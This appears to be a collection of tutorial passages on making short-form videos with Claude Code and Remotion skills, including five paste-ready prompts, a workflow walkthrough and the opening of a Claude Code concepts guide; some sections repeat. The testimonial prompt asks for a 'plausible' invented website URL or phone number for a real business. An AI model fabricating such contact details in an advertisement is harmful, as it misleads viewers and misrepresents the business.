- Add a subtle dark gradient overlay ONLY in the top 40% of the frame (transparent at bottom, rgba(0,0,0,0.6) at top) so white text is readable against any background
For each topic segment, display an overlay timed to the transcript:

OVERLAY STYLE (like the reference image):
- Large faded step number in background (”01”, “02”, etc.) — Inter 800, ~200px, rgba(255,255,255,0.08)
- Topic headline below it — Inter 700, 56-64px, white
- Keyword badge — small rounded pill with glass-morphism background, 32px text
- Animated progress bar under the badge — thin line that fills to show progress through current segment, accent color #22c55e
- Each overlay enters with spring({ damping: 200 }) at its segment’s start timestamp
- Previous overlay fades out (opacity 0 over 10 frames) as the new one enters
- Use Sequence components with from={Math.round(timestamp * fps)} to sync to speech

OPTIONAL BOTTOM OVERLAY — CAPTIONS:
- If you can extract word-level timestamps from Whisper, add animated captions in the lower portion of the frame (above bottom safe zone, around y: 1600-1700px)
- Style: bold white text, 36px, with a subtle text shadow for readability
- Highlight the current word in accent color (#6366f1)

COLORS: Accent #6366f1 (indigo), secondary #22c55e (green), text white

FONT: Inter (weights 400, 600, 700, 800)

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Why it’s mindblowing: Drop in any selfie talking-head video. Claude transcribes your speech, then layers animated titles, step numbers, keyword badges, progress bars, and captions on top of your original video — all synced to what you’re actually saying. Your video stays full-frame and untouched. It’s like having a motion graphics editor watch your video and add overlays in real time.

5. Data Visualization Infographic

Use case: Give Claude a CSV file or paste raw data. It designs and animates a full dashboard with charts, KPIs, and trend indicators — no design skills needed.

Prompt:

Use the Remotion best practices skill.
I’ve placed a data file at public/data.csv. Create an animated data dashboard video (1080x1920, 30fps, 15 seconds) that visualizes this data.

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — ANALYZE: Read the CSV file. Identify:
- A compelling title for the dashboard
- The single most impressive KPI stat (for the hero card)
- Data suitable for a bar chart (categorical comparison)
- Data suitable for a donut/pie chart (parts of a whole)
- Data suitable for a line chart (trend over time)
If the CSV doesn’t have all 4 chart types, pick the best 4 visualizations for the data and adapt. Show me the proposed dashboard layout. Wait for approval before coding.

STEP 2 — ANIMATE:

LAYOUT: Vertical stack of 4 panels with 30px padding between. Top margin at 150px (safe zone), bottom panel ends above 170px (safe zone). Side margins: 60px. Dark background #0a0a0a.

PANEL 1 - KPI Hero Card:
- Large headline number counting up from 0 using interpolate(), with appropriate suffix (%, $, k, M)
- Subtitle describing the metric in Inter 400, 20px, #94a3b8
- Trend indicator: colored arrow (green ▲ or red ▼) with YoY change, slides in after count finishes
- Glass-morphism card background (rgba(255,255,255,0.05), border 1px solid rgba(255,255,255,0.1), backdrop-blur)
- tabular-nums font-variant for smooth counting
- Entrance: card scales from 0.8 to 1.0 with spring at frame 10

PANEL 2 - Bar Chart:
- Horizontal bars, one per category, using real labels and values from the CSV
- Each bar grows from width 0 using spring({ damping: 200, delay: index * 10 })
- Bar colors: gradient from #6366f1 to #8b5cf6
- Labels on left, values appear at bar end after growth completes
- Rounded-right corners (8px)
- Entrance: staggered, starting at frame 25

PANEL 3 - Donut Chart:
- SVG donut using stroke-dasharray / stroke-dashoffset
- Segments draw clockwise, each starting after previous finishes
- Colors: #3b82f6, #22c55e, #f59e0b, #ef4444 (cycle if more segments)
- Radius 80px, stroke-width 24px
- Center text: category name swaps as each segment draws
- Colored legend dots below, staggered fade-in
- Entrance: starts at frame 50

PANEL 4 - Line Chart:
- SVG polyline drawing left to right via stroke-dashoffset + interpolate()
- Data point circles (r=4) pop in with scale spring as the line reaches them
- Gradient fill below the line (color to transparent) reveals with the draw
- Axis labels from the CSV data
- Line color: #22c55e
- Entrance: starts at frame 70

GLOBAL:
- Dashboard title (from your analysis) fades in at frame 0, top safe zone, Inter 800, 36px
- Source subtitle fades in at frame 5, Inter 400, 16px, #64748b
- All panels use matching glass-morphism card style
Use spring() for entrances, interpolate() with clamp for counts and line drawing. Create reusable CountUp and AnimatedBar components.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Drop any CSV into the public folder. Claude reads the data, picks the best visualization for each chart type, and animates a full dashboard with real numbers.

Swap the CSV, get a completely different video.

Works for quarterly reports, survey results, API analytics, anything with numbers.

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The magic here is Claude Code's "skills" system.

Remotion ships a set of pre-built skills, i.e. instructions that teach Claude exactly how Remotion works - its APIs, animation patterns, best practices, and pitfalls. You install them once, then every prompt you paste into Claude has that full context.

Below are 5 ready-to-paste prompts.

Each one produces a different style of video.

Swap in your own topics, hit enter, and watch Claude make videos :)

Setup

Open a terminal and run these 2 commands:

npx skills add remotion-dev/skills      # install all Remotion skills

claude                                  # open Claude Code, paste your prompt

What you need per prompt

1. Education Explainer — Your input: Change the topic in quotes. Claude: Claude researches, scripts, designs, animates

2. Product Demo + Launch — Your input: Change the URL. Claude: Claude scrapes branding, takes screenshots, rebuilds UI, creates simulated demo + real screenshot showcase in one video

3. Google Reviews Testimonial — Your input: Paste Google Business Profile link. Claude: Claude scrapes real reviews/rating, creates animated testimonial with star animations + review carousel

4. Avatar + Animated Overlays — Your input: Drop 9:16 talking-head video in public/. Claude: Claude transcribes speech, overlays animated titles/badges/captions on top of your full-frame video

5. Data Viz Dashboard — Your input: Drop a CSV in public/. Claude: Claude analyzes data, picks chart types, animates

Pro Tips

1. Always start with “Use the Remotion best practices skill” — already included in every prompt

2. Visual controls — prompts 2 and 4 ask Claude to add position sliders you can tweak in Remotion Studio

3. Iterate — after the first render, give correction prompts (”make the bars wider”, “slow the typing to 10 chars/sec”, “change accent color to orange”)

4. Render — ask Claude to open “Remotion Studio” so you can preview the video

1. Education Explainer Video

Use case: Turn any topic into a full animated explainer video. Just change the topic — Claude researches it, writes the script, designs the scenes, and animates everything.

Prompt:

Use the Remotion best practices skill.
Create an educational explainer video (1080x1920, 30fps, 30 seconds) that teaches “How AI Agents Work”.

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — RESEARCH & SCRIPT: Before writing any code, research the topic and write a 5-scene script. Each scene needs: a one-line headline, 1-2 sentences of explanation, and a visual description of what to animate. Show me the script and wait for approval before coding.

STEP 2 — DESIGN & ANIMATE: After I approve the script, build all 5 scenes with these specs:

VISUAL STYLE:
- Background: #0a0a0a
- Primary text: white
- Accent: #6366f1 (indigo)
- Success/emphasis: #22c55e (green)
- Font: Inter (weights 400, 600, 800)
- All icons/diagrams built as SVG components (no external assets needed)

ANIMATION RULES:
- Every element enters with spring({ damping: 200 }) — no linear motion
- Stagger related items by 8-12 frames
- Use TransitionSeries with 12-frame fade transitions between scenes
- Diagrams and flowcharts should draw themselves (SVG stroke-dashoffset animation)
- Key numbers use count-up animation with interpolate() and tabular-nums
- Final scene: particle effect background (10-15 circles drifting upward)
Each scene should have a clear visual metaphor — diagrams, flowcharts, icons, or step-by-step animations. No walls of text. Think Kurzgesagt meets Fireship: dense information, beautiful motion, fast pacing.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

You literally just swap the topic in quotes. “How AI Agents Work” becomes “How Blockchain Works” or “How DNS Works” or “How Photosynthesis Works.”

Claude handles research, scripting, visual design, and animation. Zero assets needed - everything is generated as SVG.

2. Product Demo + Launch Video

Use case: Give Claude any product URL.

It scrapes real branding, downloads product images/screenshots FROM the website (not screenshots OF the website), and creates a full product ad with animated visuals, feature callouts, and a simulated demo. All from one URL.

Prompt:

Use the Remotion best practices skill.
Create a 25-second product demo and launch video (1080x1920, 30fps) for the product at https://your-product-url.com.

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — RESEARCH & ASSET DOWNLOAD: Visit the URL. Extract:
- Product name and logo (download any logo/favicon to public/)
- Brand colors (pull from the site’s CSS or visible design)
- Tagline / hero headline
- The core user flow (what does someone DO with this product?)
- 3 key features or value propositions
- Any social proof (user counts, testimonials, logos)
- IMPORTANT — PRODUCT IMAGES: Use the Claude in Chrome MCP tools to navigate to the website, read the page, and find product screenshots/images the site already displays (hero images, product UI screenshots, feature images, app previews). These are images the company designed to showcase their product — they’ll look much better than browser screenshots. Download 2-3 of the best product images and save them to public/product-1.png, product-2.png, etc. Look for <img> tags, og:image meta tags, and background images in the hero/features sections. Prefer PNG/JPG product mockups over generic stock photos.
- Only take browser screenshots as a LAST RESORT if the website has no downloadable product images.
Show me what you found (including which product images you downloaded) and a proposed 6-scene outline. Wait for approval before coding.

STEP 2 — BUILD THE VIDEO: After approval, build 6 scenes:

SCENE 1 - Hook (3s):
- Bold text in safe zone: a pain-point question relevant to the product (e.g., “Still editing videos manually?”)
- Text slams in with spring from 2x scale, holds 2s, fades out
- Dark background with subtle brand-color radial glow

SCENE 2 - Product Intro (3s):
- Product name/logo scales in with spring from 3x to 1x (use the downloaded logo, or render name in brand font)
- Real tagline slides up below
- Particle burst behind logo: 20 circles expanding outward with random trajectories, fading out, using brand accent color

SCENE 3 - Simulated Demo (8s):
- Recreate a simplified, MOBILE-SIZED version of the product’s core interaction using React components (styled divs, inputs, buttons, cards in the brand’s colors)
- NO device mockup frame — build the UI elements directly on the dark background, large enough to fill the safe zone width (960px+)
- Keep it simple: just the ONE core interaction (input field + button + result), not the full app UI
- Animate a cursor (small white circle with subtle trail) that:
  - Moves to an input field (full width, 72px tall, 36px text) using smooth bezier motion
  - Click ripple effect on the field (expanding circle that fades)
  - Text types into the field character by character at 36px font size
  - Cursor moves to a large “Go” / “Generate” / “Submit” button (full width, 64px tall)
  - Click ripple on button, button depresses (scale 0.95)
  - Loading spinner appears (0.5s), then results animate in with staggered spring animations
  - Result cards/text must also be large (36px+ body text)
- All cursor movement uses spring({ damping: 15 }) for natural, human-like motion
- Everything must be readable on a phone screen — if in doubt, make it bigger

SCENE 4 - Product Image Showcase (5s):
- Display the downloaded product images LARGE — these are polished marketing images, not browser screenshots, so show them big
- Each image is displayed at near-full width (900px+), centered in the frame with drop shadow and rounded corners (16px)
- NO device mockup frame needed — the product images already look polished on their own
- Animate through 2-3 product images as a sequence:
  - Image 1 scales in from 0.9 to 1.0 with spring, holds 1.5s
  - Crossfade to Image 2, holds 1.5s
  - Crossfade to Image 3, holds 1.5s
- While each image is visible, a short feature headline (56px, Inter 700) fades in above or below the image, updating with each transition
- If product images are landscape, display them in the center of the frame at full width with dark background above and below

SCENE 5 - Feature Callouts (3s):
- Product image scales down to 40% and moves to the top
- 3 feature benefit lines animate in below it, staggered by 10 frames:
  - Each line has a colored icon (checkmark, lightning bolt, star) + short text (36px+) pulled from real features
  - Lines slide in from right with spring()
- Feature text must be LARGE and readable — 36px minimum for each line

SCENE 6 - Social Proof + CTA (3s):
- Everything fades out
- If social proof was found, animate the real number counting up from 0 (e.g., “50,000+ users”)
- Product URL pulses gently (scale 1.0 to 1.03) — positioned above bottom safe zone
- Fade to black

CURSOR DESIGN: White circle (12px), 50% opacity trailing shadow, smooth bezier paths between click targets. Never teleport — always animate movement.

FONT: Inter (800 headlines, 400 body) unless the website uses a distinctive Google Font — match it.
Use spring() for entrances, interpolate() with clamp for counting.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Paste any product URL. Claude scrapes real branding, takes real screenshots, and builds the video.

You get a simulated demo (cursor clicking through a fake version of the app) that crossfades into real screenshots scrolling in a phone mockup.

It’s a complete product ad: hook, demo, proof, CTA. Change the URL, get a new video.

3. Google Reviews Testimonial Video

Use case: Paste any business’s Google Maps/Business Profile link. Claude scrapes the real reviews, star rating, and business info, then creates an animated testimonial ad featuring real customer quotes with star animations and social proof counters.

Prompt:

Use the Remotion best practices skill.
Create a 20-second testimonial/social proof video (1080x1920, 30fps) for the business at this Google Business Profile: https://maps.google.com/your-business-link-here

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — SCRAPE REVIEWS: Visit the Google Business Profile URL using Playwright. Extract:
- Business name and category
- Overall star rating (e.g., 4.8)
- Total number of reviews (e.g., “2,340 reviews”)
- The 3 best/most compelling reviews (5-star, with actual review text and reviewer first name)
- Business photo or logo if available (screenshot it to public/)
If Playwright can’t load Google reviews directly, use an alternative: search for the business name + “reviews” and scrape from the search results card, or use the Google Maps page.
Show me the business info and 3 selected reviews. Wait for approval before coding.

STEP 2 — BUILD THE VIDEO: After approval, build 5 scenes:

SCENE 1 - Hook (3s):
- Clean white/light background (#f8f9fa) with a subtle warm gradient (soft peach #fff7ed fading to white)
- Large gold star cluster: 3 overlapping star SVGs at different sizes and rotations, scattered in the upper area, faded to 15% opacity as a decorative background element
- Bold text centered in safe zone, two lines:
  - Line 1: “What people are saying about” — Inter 700, 44px, dark text #1a1a1a
  - Line 2: “[Business Name]” — Inter 800, 56px, gold #f59e0b
- Text enters with spring from below (translateY 40px to 0)
- Below the text: the overall star rating as 5 inline stars (40px, gold filled) with the number next to them (e.g., “4.8”) — fades in 10 frames after the text

SCENE 2 - Star Rating Reveal (3s):
- Same light background (#f8f9fa)
- 5 large star SVGs (60px each) in a row, centered
- Stars fill in one by one from left to right with gold (#f59e0b) using spring animation, staggered by 8 frames
- If rating is 4.8, the 5th star fills only 80% (use clip-path or width mask)
- Below the stars: the rating number counts up from 0.0 to the actual rating using interpolate() with 1 decimal place, dark text #1a1a1a
- Below that: “Based on [X] reviews” fades in, #64748b, with the number counting up from 0
- Subtle gold particle shimmer behind the stars

SCENE 3 - Review Carousel (9s, 3 reviews x 3s each):
- Same light background (#f8f9fa)
- Each review is a card that takes the full safe zone width:
  - Top: 5 small gold stars (28px) in a row
  - Middle: the review text in quotes, Inter 400, 36px, dark text #1a1a1a — max 3 lines, truncate with “...” if longer
  - Bottom: reviewer first name + “Google Review” label, Inter 400, 28px, #64748b
  - Card background: white (#ffffff) with subtle border (#e2e8f0), rounded corners (16px), soft shadow (0 4px 20px rgba(0,0,0,0.08))
- Card transitions: each card slides out to the left while the next slides in from the right, using TransitionSeries with slide transitions
- Add a small Google “G” logo icon (built as SVG — the 4-color G) next to “Google Review” for authenticity
- A thin progress indicator below the card shows which review we’re on (3 dots, active dot is gold)

DECORATIVE GRAPHICS AROUND EACH REVIEW (fill the empty space above and below the card):
- ABOVE the review card: large quotation mark SVG in gold at 10% opacity, 200px tall, positioned top-left of safe zone. Fades in with the card.
- BELOW the review card: an animated graphic relevant to the review content. Pick ONE per review:
  - Review 1: animated 5-star rating bar chart showing the business’s rating distribution (5 horizontal bars, gold fill on light gray #f1f5f9 track, spring animation)
  - Review 2: a thumbs-up icon that scales in with spring + a count-up number showing total reviews
  - Review 3: a simple map pin icon with the business location text, with a subtle pulse animation
- These decorative elements enter with the card and exit with it
- Keep them subtle (muted colors, 30-50% opacity) so they don’t compete with the review text
- All decorative icons/graphics use gold (#f59e0b) or muted gray (#94a3b8)

SCENE 4 - Social Proof Stack (3s):
- Same light background (#f8f9fa)
- 3 stat lines stagger in from the bottom with spring, 10-frame delays:
  - Line 1: gold star icon + “[X] star rating” — dark text #1a1a1a
  - Line 2: people icon + “[X]+ happy customers” (count up animation)
  - Line 3: map pin icon + “[City, State]” location
- Each line has an icon (SVG) on the left and text on the right
- Icons are gold (#f59e0b), text is dark #1a1a1a

SCENE 5 - CTA (2s):
- Same light background (#f8f9fa)
- Business name in large text (Inter 800, 56px, #1a1a1a), scales in with spring, centered in safe zone
- Below: a prominent CTA button (full safe-zone width, 72px tall, rounded corners 16px, gold background #f59e0b, white text “Book Now” or “Call Today” at 40px)
- Button enters with spring from below
- Below the button: the business’s website URL or phone number in Inter 600, 36px, #64748b — generate a plausible URL based on the business name (e.g., “www.flplumber.com” or “(555) 123-4567”)
- Positioned above bottom safe zone
- No fade to black — end on the clean light background with CTA visible

COLORS: Light theme throughout. Background #f8f9fa on all scenes. Card backgrounds white #ffffff. Primary text dark #1a1a1a. Secondary text #64748b. Accent gold #f59e0b for stars, highlights, and CTA button. Card borders #e2e8f0.

FONT: Inter (weights 400, 600, 700, 800)
Use spring() for all entrances. Use interpolate() with clamp for counting animations.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Paste any business’s Google Maps link. Claude scrapes the real star rating, review count, and actual customer reviews, then creates an animated testimonial video with star-fill animations, review cards sliding through a carousel, and social proof counters — all using real data.

Works for restaurants, agencies, dentists, salons, any local business. This is the kind of video businesses pay $200-500 for on Fiverr. Change the link, get a new video.

4. Avatar Video with Animated Overlays

Use case: Drop in a 9:16 talking-head video. Claude transcribes what you’re saying, then overlays animated titles, topic graphics, captions, and progress indicators on top of the video — synced to your speech. Your original video stays full-frame, untouched.

Prompt:

Use the Remotion best practices skill.
I’ve placed my talking-head video in public/avatar.mp4. This is a 9:16 vertical video (1080x1920) of me talking to camera — a selfie-style shot where my face is in the lower 60% of the frame, with open space above my head.
Create a Remotion composition (1080x1920, 30fps) that plays this video FULL FRAME as the background layer, then overlays animated graphics on top — specifically in the open space above my head (roughly the top 35-40% of the frame). The video itself is never cropped, split, or resized. It plays edge-to-edge at its original 1080x1920 resolution.

SAFE ZONE: All overlay text and graphics must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and at least 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — TRANSCRIBE & PLAN: Use Whisper to transcribe public/avatar.mp4. Analyze the transcript to identify:
- The total duration (set composition length to match the video)
- 3-5 key topic segments with their start timestamps
- For each segment, propose an overlay graphic to display in the top portion of the frame (above my head). Examples:
  - Topic title with a large step number (e.g., “01” faded in background, “Elements of AI” as headline)
  - Keyword pill/badge that highlights the current topic
  - Simple animated icon or diagram illustrating the concept
  - Progress bar or step indicator showing where we are in the video
  - Animated caption/quote pulling a key phrase from what I’m saying
Show me the transcript segments and proposed overlay for each. Wait for approval before coding.

STEP 2 — BUILD:

BASE LAYER — FULL-FRAME AVATAR VIDEO:
- <OffthreadVideo src={staticFile(”avatar.mp4”)} /> filling the entire 1080x1920 composition
- style={{ width: “100%”, height: “100%”, objectFit: “cover” }}
- This is the background. It plays from frame 0 for the full duration.
- Audio from this video is the composition’s audio track (me speaking)
- Do NOT crop, resize, split, or put this in a panel. It IS the full frame.

OVERLAY LAYER — ANIMATED GRAPHICS (positioned in top ~35% of frame, above my head):
- Use AbsoluteFill on top of the video layer
- All graphics positioned in the top portion of the frame (y: 150px to ~700px) — this is the open space above my head
- Add a subtle dark gradient overlay ONLY in the top 40% of the frame (transparent at bottom, rgba(0,0,0,0.6) at top) so white text is readable against any background
For each topic segment, display an overlay timed to the transcript:

OVERLAY STYLE (like the reference image):
- Large faded step number in background (”01”, “02”, etc.) — Inter 800, ~200px, rgba(255,255,255,0.08)
- Topic headline below it — Inter 700, 56-64px, white
- Keyword badge — small rounded pill with glass-morphism background, 32px text
- Animated progress bar under the badge — thin line that fills to show progress through current segment, accent color #22c55e
- Each overlay enters with spring({ damping: 200 }) at its segment’s start timestamp
- Previous overlay fades out (opacity 0 over 10 frames) as the new one enters
- Use Sequence components with from={Math.round(timestamp * fps)} to sync to speech

OPTIONAL BOTTOM OVERLAY — CAPTIONS:
- If you can extract word-level timestamps from Whisper, add animated captions in the lower portion of the frame (above bottom safe zone, around y: 1600-1700px)
- Style: bold white text, 36px, with a subtle text shadow for readability
- Highlight the current word in accent color (#6366f1)

COLORS: Accent #6366f1 (indigo), secondary #22c55e (green), text white

FONT: Inter (weights 400, 600, 700, 800)

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Why it’s mindblowing: Drop in any selfie talking-head video. Claude transcribes your speech, then layers animated titles, step numbers, keyword badges, progress bars, and captions on top of your original video — all synced to what you’re actually saying. Your video stays full-frame and untouched. It’s like having a motion graphics editor watch your video and add overlays in real time.

5. Data Visualization Infographic

Use case: Give Claude a CSV file or paste raw data. It designs and animates a full dashboard with charts, KPIs, and trend indicators — no design skills needed.

Prompt:

Use the Remotion best practices skill.
I’ve placed a data file at public/data.csv. Create an animated data dashboard video (1080x1920, 30fps, 15 seconds) that visualizes this data.

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — ANALYZE: Read the CSV file. Identify:
- A compelling title for the dashboard
- The single most impressive KPI stat (for the hero card)
- Data suitable for a bar chart (categorical comparison)
- Data suitable for a donut/pie chart (parts of a whole)
- Data suitable for a line chart (trend over time)
If the CSV doesn’t have all 4 chart types, pick the best 4 visualizations for the data and adapt. Show me the proposed dashboard layout. Wait for approval before coding.

STEP 2 — ANIMATE:

LAYOUT: Vertical stack of 4 panels with 30px padding between. Top margin at 150px (safe zone), bottom panel ends above 170px (safe zone). Side margins: 60px. Dark background #0a0a0a.

PANEL 1 - KPI Hero Card:
- Large headline number counting up from 0 using interpolate(), with appropriate suffix (%, $, k, M)
- Subtitle describing the metric in Inter 400, 20px, #94a3b8
- Trend indicator: colored arrow (green ▲ or red ▼) with YoY change, slides in after count finishes
- Glass-morphism card background (rgba(255,255,255,0.05), border 1px solid rgba(255,255,255,0.1), backdrop-blur)
- tabular-nums font-variant for smooth counting
- Entrance: card scales from 0.8 to 1.0 with spring at frame 10

PANEL 2 - Bar Chart:
- Horizontal bars, one per category, using real labels and values from the CSV
- Each bar grows from width 0 using spring({ damping: 200, delay: index * 10 })
- Bar colors: gradient from #6366f1 to #8b5cf6
- Labels on left, values appear at bar end after growth completes
- Rounded-right corners (8px)
- Entrance: staggered, starting at frame 25

PANEL 3 - Donut Chart:
- SVG donut using stroke-dasharray / stroke-dashoffset
- Segments draw clockwise, each starting after previous finishes
- Colors: #3b82f6, #22c55e, #f59e0b, #ef4444 (cycle if more segments)
- Radius 80px, stroke-width 24px
- Center text: category name swaps as each segment draws
- Colored legend dots below, staggered fade-in
- Entrance: starts at frame 50

PANEL 4 - Line Chart:
- SVG polyline drawing left to right via stroke-dashoffset + interpolate()
- Data point circles (r=4) pop in with scale spring as the line reaches them
- Gradient fill below the line (color to transparent) reveals with the draw
- Axis labels from the CSV data
- Line color: #22c55e
- Entrance: starts at frame 70

GLOBAL:
- Dashboard title (from your analysis) fades in at frame 0, top safe zone, Inter 800, 36px
- Source subtitle fades in at frame 5, Inter 400, 16px, #64748b
- All panels use matching glass-morphism card style
Use spring() for entrances, interpolate() with clamp for counts and line drawing. Create reusable CountUp and AnimatedBar components.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Drop any CSV into the public folder. Claude reads the data, picks the best visualization for each chart type, and animates a full dashboard with real numbers.

Swap the CSV, get a completely different video.

Works for quarterly reports, survey results, API analytics, anything with numbers.

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Claude just changed content creation forever!

You can now generate, edit, fact-check, and schedule videos entirely from Claude Code.

In this comprehensive step-by-step tutorial, I’ll show you how to use Claude Code alongside the Remotion skill to build your local video creation/editing pipeline.

Then, publish automatically to social media :)

1. Install the Remotion Skill

First, open Claude Code. Doesn’t matter if you’re in the terminal, Visual Studio Code, or Windsurf.

Type this:

Install the pre-built skill remotion and set it up.

Claude searches the web, finds the Remotion skill, and installs it.

If you’re technical and want the 1-line shortcut, type this in your terminal:

npx skills add remotion-dev/skills

Remotion is a framework for creating and editing videos using code. Claude Code writes the code FOR you. No need to know React, JavaScript, or anything technical.

The BEST part?

Everything runs locally on your computer FOR FREE (except your Claude Code subscription).

You’re not paying for some cloud video service.

You’re not uploading files somewhere and downloading them back. It’s all happening on your local private machine.

While it installs, explore the skill directory. There’s a SKILL.md file explaining when Claude should trigger this skill, plus rules for animations, safe zones, and more.

Pro tip:

If you want Remotion to be your primary video tool, expand the skill description so Claude triggers it anytime you mention video creation... even if you don’t say “Remotion” directly.

2. Create a Motion Graphics Video (Prompt 1)

Here’s the EXACT first prompt I used:

use remotion skill to create a 9:16 15-second video on this topic:

- free github repos containing Claude Code skills

- the first 5 seconds should have a viral hook

- use cool motion graphics

- use cool animated text

- use short-form video safe zones, so text should not be located too high up or too far down

Claude went OFF!

It researched real GitHub repos. It generated a viral hook. It created animated text with motion graphics. It used safe zones so text doesn’t get cut off by platform UI.

Within 2-3 minutes, Remotion opened its own local studio at localhost:3003. Preview the video right there in your browser. Press play, scrub through it, see exactly what you’re getting BEFORE rendering.

And this was WITHOUT brand voice, brand kit, or custom assets.

A raw first draft from 1 prompt.

3. Fact-Check and Add Screenshots (Prompt 2)

The first draft had 1 problem: Claude pulled a private GitHub repo. So I ran a second prompt:

update the video:

- first, fact check that every single github repo is public and contains free Claude Code skills

- one scene per github repo

- for each github repo, take a web screenshot and incorporate it in the video

- update CTA to “Sign Up for BLOTATO”

This is where it gets WILD.

Claude used Claude in Chrome (browser automation) to VISIT each GitHub repo, take a real screenshot, and then Remotion incorporated those screenshots directly into the video.

Yes… your AI video editor browsing the internet, grabbing real assets, and dropping them into your video.

Automatically!!

It found 3 verified public repos, took screenshots of each one, rewrote the video with 5 scenes (hook, repos with screenshots, and CTA), and rendered em all.

4. Personal Touches (Prompt 3)

The last prompt shows what else is possible:

incorporate my headshot in ~/Downloads in the last screen CTA and lets add some techno/edm/psychedelic background music

Claude added my headshot with a gradient border matching the Blotato CTA colors. Background music faded in. Done.

3 prompts total.

Motion graphics video.

Real web screenshots.

Custom assets.

Background music.

All generated locally, for FREEEEEEE.

5. Edit EXISTING Videos

This is the part many creators care about.

Take a video you already filmed... a talking head TikTok, a YouTube Short, whatever... and make Claude edit it for you.

edit the latest video in ~/Downloads, remove mistakes, add a scroll stopping tiktok-style title, add subcaptions but don’t cover my face, be mindful of 9:16 safe zones

Claude analyzes your video, applies a title overlay disappearing after a few seconds, adds captions avoiding your face, and attempts to trim out the bloopers where you stumbled.

Is it PERFECT? No way.

Claude reduced font sizes, added word spacing, highlighted active words by making them slightly larger. The caption editing was readable and well-formatted.

The blooper removal was decent but far from perfect... transitions were a bit rough in preview but smoother in the final render.

My honest take:

If you’re serious about using Remotion for editing existing videos, set aside a few days to build a template fitting YOUR style. Figure out where your title goes, how captions should look, and your standard intro/outro.

Make just ONE template that looks good enough.

Nothing too crazy, keep it simple. Higher chance of success.

6. Schedule to Social Media (The Final Step)

Here’s where it all comes together.

Install the Blotato MCP server (1 line), then:

lets schedule the motion graphics video for instagram in 30 minutes using Blotato MCP

I always keep an approval step in my workflow.

Claude shows me the caption, I check the brand voice, the hashtags, the message... then I approve and it goes out.

Manage your ENTIRE content calendar this way.

I’ve got tons of posts scheduled every week, all through Claude Code + Blotato MCP. Never leaving the terminal.

My Honest Take

This isn’t replacing professional video editors.

Editing existing videos still needs a lot of work, especially blooper removal and transitions.

BUT for motion graphics, short-form content, and quick social videos? This is ALREADY good enough to start with, especially if you don’t have a big budget or big team. Spend a couple days iterating on ONE template to achieve a style you like.

The real advantage is, indeed, building reusable templates.

Once Claude knows your brand, your style, your CTA format... that’s the productivity gain. You can also use Remotion for your FIRST DRAFT pass, then handoff to human editors to add polish.

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You type something. It types back. Fancy autocomplete.

Then I started using Claude Code 1+ year ago and realized… this isn’t a chatbot.

It’s the closest thing I’ve ever seen to an “AI employee”.

I type one word... Claude finds my latest Tiktok drafts. Transcribes my videos. Writes platform-specific captions in my voice, including comment keywords for DM automations. Checks its own work against my rules. Publishes to 8 social media platforms. Updates my Airtable. Then creates DM automations for Instagram and Facebook in ManyCht.

All from 1 command I can type while walking my dog.

This is not a ‘conversation’.

This is a business operation.

Today I’m breaking down every single Claude Code concept in plain English for normal people.

This starts with “what even IS this” all the way to skills, hooks, memory, MCP, and more.

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We’ll be covering 30 fundamental Claude Code concepts and practical use cases for entrepreneurs and business owners!

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Section 1: Getting Started

1. The Terminal

Here’s what nobody tells you about Claude Code: it doesn’t live in a browser.

It lives in the terminal. The text-based interface on your computer where you type commands and things happen.

The terminal looks intimidating. Blank screen. Blinking cursor. No buttons, no menus, no drag-and-drop.

But here’s what you get in return: instead of clicking through 15 browser tabs, copying text between windows, and manually doing everything yourself... you type 1 sentence and Claude does the work because it has access to your COMPUTER, your files, your images, and the internet, plus you give it access to apps you use daily like Google Suite, Airtable, Notion, Blotato, etc.

Before: 15 windows open, copying and pasting between ChatGPT, your files, your browser, your spreadsheet.

After: 1 window. You type what you want. Claude reads your files, makes the changes, and shows you what it did.

How to find it: on Mac, open Launchpad, type “Terminal”, hit enter. On Windows, search for “Command Prompt.”

Set up your playground: once you have the terminal open, paste these 2 lines one at a time, to create a practice folder and enter it:

mkdir ~/playground

cd ~/playground

This is your playground for the rest of this tutorial. Everything Claude creates will live here.

2. Installation + Pricing

Before you type claude, you need to install it.

Open your terminal and paste this:

